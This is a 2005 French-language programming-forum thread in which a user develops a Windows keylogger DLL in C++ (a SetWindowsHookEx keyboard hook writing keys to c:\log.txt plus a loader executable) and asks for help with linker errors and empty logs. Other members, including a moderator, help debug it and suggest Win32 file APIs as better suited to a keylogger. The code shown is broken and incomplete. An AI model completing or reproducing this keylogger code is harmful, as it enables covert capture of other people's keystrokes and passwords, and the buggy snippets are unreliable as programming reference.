Keylogger link error

slope666 Messages postés 7 Date d'inscription mardi 5 avril 2005 Statut Membre Dernière intervention 26 janvier 2006 - 19 sept. 2005 à 00:48
slope666 Messages postés 7 Date d'inscription mardi 5 avril 2005 Statut Membre Dernière intervention 26 janvier 2006 - 21 sept. 2005 à 22:32
voila je fait un keylogger et il me met un link errora la compilation avec de c++:


[Linker error] undefined reference to
[mailto:`_Z8HookProcijl@12' `_Z8HookProcijl@12'
]


qulequ'un a une idée pour y arriver...

merci

11 réponses

BruNews Messages postés 21041 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
19 sept. 2005 à 01:21
Manque info de la lib contenant cette fonction pour le linker.

ciao...
BruNews, MVP VC++
0
DeAtHCrAsH Messages postés 2670 Date d'inscription vendredi 25 janvier 2002 Statut Membre Dernière intervention 6 février 2013
19 sept. 2005 à 09:41
Si tu utilises l'API SetWindowsHookEx, tu dois linker avec user32.lib
Mais c'est quand meme bizarre que se soit ca, car cette lib ou dll(user32.dll) est générallement mise d'office dans les param du linker, a moins que tu es touché les propriétés de ton projet et supprimé cette référence.
0
BruNews Messages postés 21041 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
19 sept. 2005 à 10:04
Je ne pense pas qu'il se "SOIT" touché en codant mais qu'il "AIT" touché qlqchose plus surement.

ciao...
BruNews, MVP VC++
0
DeAtHCrAsH Messages postés 2670 Date d'inscription vendredi 25 janvier 2002 Statut Membre Dernière intervention 6 février 2013
19 sept. 2005 à 10:11
LoOl,

Fatigué le BruNews ? Relis mon post ;-)
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
BruNews Messages postés 21041 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
19 sept. 2005 à 10:22
"que tu es touché..." => que tu AIES touché...
qui est fatigué ?

ciao...
BruNews, MVP VC++
0
DeAtHCrAsH Messages postés 2670 Date d'inscription vendredi 25 janvier 2002 Statut Membre Dernière intervention 6 février 2013
19 sept. 2005 à 10:24
Euuuhhh...
Aurais-je loupé une occasion de me taire ?

BruNews prof de francais ^_^
0
slope666 Messages postés 7 Date d'inscription mardi 5 avril 2005 Statut Membre Dernière intervention 26 janvier 2006
19 sept. 2005 à 17:12
voici un morceau de code raccourci de ma dll. apparement ce n'est pas user32.lib...

#include "dll.h"
#include <windows.h>
#include <cstdio>


HHOOK kbdhook;
HINSTANCE inst;
int code;
WPARAM wParam;
LPARAM lParam;


FILE *yes;

int _stdcall Load(){

DLL_PROCESS_ATTACH;
LRESULT CALLBACK HookProc(int code, WPARAM wParam, LPARAM lParam);
kbdhook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookProc,inst,1);


yes = fopen("c:\\log.txt","a+");


switch (1){
case VK_RETURN: fprintf(yes,"[ENTREE]\n");}

return 1;
}





voici l'erreur:

[Linker error] undefined reference to [mailto:`_Z8HookProcijl@12' `_Z8HookProcijl@12']
ld returned 1 exit status
C:\...\Makefile.win [Build Error] [Project1.dll] Error 1
0
BruNews Messages postés 21041 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
19 sept. 2005 à 17:38
ah ok [mailto:_Z8HookProcijl@12 _Z8HookProcijl@12] est le nom 'décoré' par le compilo de HookProc.
ben visiblement il ne trouve pas la fonction, mets la juste au dessus de son appel, tu éviteras les déclarations.

Prends l'habitude de compiler en C les DLLs, ça évite ces décorations de nom à la c**.
DLL est pour Windows alors enlève <cstdio> et utilise API (CreateFile, WriteFile, SetFilePointer, CloseHandle), tu auras une dll plus petite et plus performante, préférable pour un keylogger.

ciao...
BruNews, MVP VC++
0
slope666 Messages postés 7 Date d'inscription mardi 5 avril 2005 Statut Membre Dernière intervention 26 janvier 2006
20 sept. 2005 à 00:06
voilà j'ai réussi a compiler enfin, mais encore un probleme, le keylogger n'écrit rien dans le fichier texte... pourquoi?


int _stdcall Load(){

DLL_PROCESS_ATTACH;
kbdhook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookProc,inst,1);

yes = fopen("c:\\log.txt","a+");


switch (1){
case VK_RETURN: fprintf(yes,"[ENTREE]\n");}
LRESULT CALLBACK HookProc(int code, WPARAM wParam, LPARAM, lParam);
return CallNextHookEx(kbdhook,code,wParam,lParam); ;
}

je ferais les réglages <cstdio> après...
0
DeAtHCrAsH Messages postés 2670 Date d'inscription vendredi 25 janvier 2002 Statut Membre Dernière intervention 6 février 2013
20 sept. 2005 à 09:39
switch (1){
case VK_RETURN: fprintf(yes,"[ENTREE]\n");}
LRESULT CALLBACK HookProc(int code, WPARAM wParam, LPARAM, lParam);
return CallNextHookEx(kbdhook,code,wParam,lParam); ;
}

Il représente quoi ce switch(1) ???

A la place du 1 tu dois mettre le nom de ta variable qui contient la touche préssée.
0
slope666 Messages postés 7 Date d'inscription mardi 5 avril 2005 Statut Membre Dernière intervention 26 janvier 2006
21 sept. 2005 à 22:32
Alors voila... c'est la cata... je ne comprend pas il marche toujours pas même en m'inspirant des autres keylogger... help please! voila tout le code.

la dll:



HOOKPROC HookProc;
HHOOK kbdhook;
HINSTANCE inst;
int code;
WPARAM wParam;
LPARAM lParam;


extern "C" _declspec(dllexport) _stdcall int Load();


int WINAPI DllEntryPoint (HINSTANCE inst, unsigned long zreason,LPVOID lpvoid, DWORD reason){
return 1;}


FILE *yes;




int _stdcall Load(){

MessageBox(0,"voila","hook en place",MB_OK);

DLL_PROCESS_ATTACH;
kbdhook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookProc,inst,1);

yes = fopen("c:\\log.txt","a+");

switch (wParam){
case VK_RETURN: fprintf(yes,"[ENTREE]\n");}
LRESULT CALLBACK HookProc(int code, WPARAM wParam, LPARAM lParam);
return CallNextHookEx(kbdhook,code,wParam,lParam);}






l'exe (un petit peu inspiré):



typedef int (_stdcall* MYDLLFUNC)(void);


extern "C" _declspec(dllimport) _stdcall int Load();


int iret;
MYDLLFUNC ok;


int main(){

HINSTANCE inst;
int now;

inst =LoadLibrary("Project1.dll");


ok = GetProcAddress(inst,"Load");
now=ok();


for(;;){Sleep(1);}


FreeLibrary(inst);}

merci d'avance...
0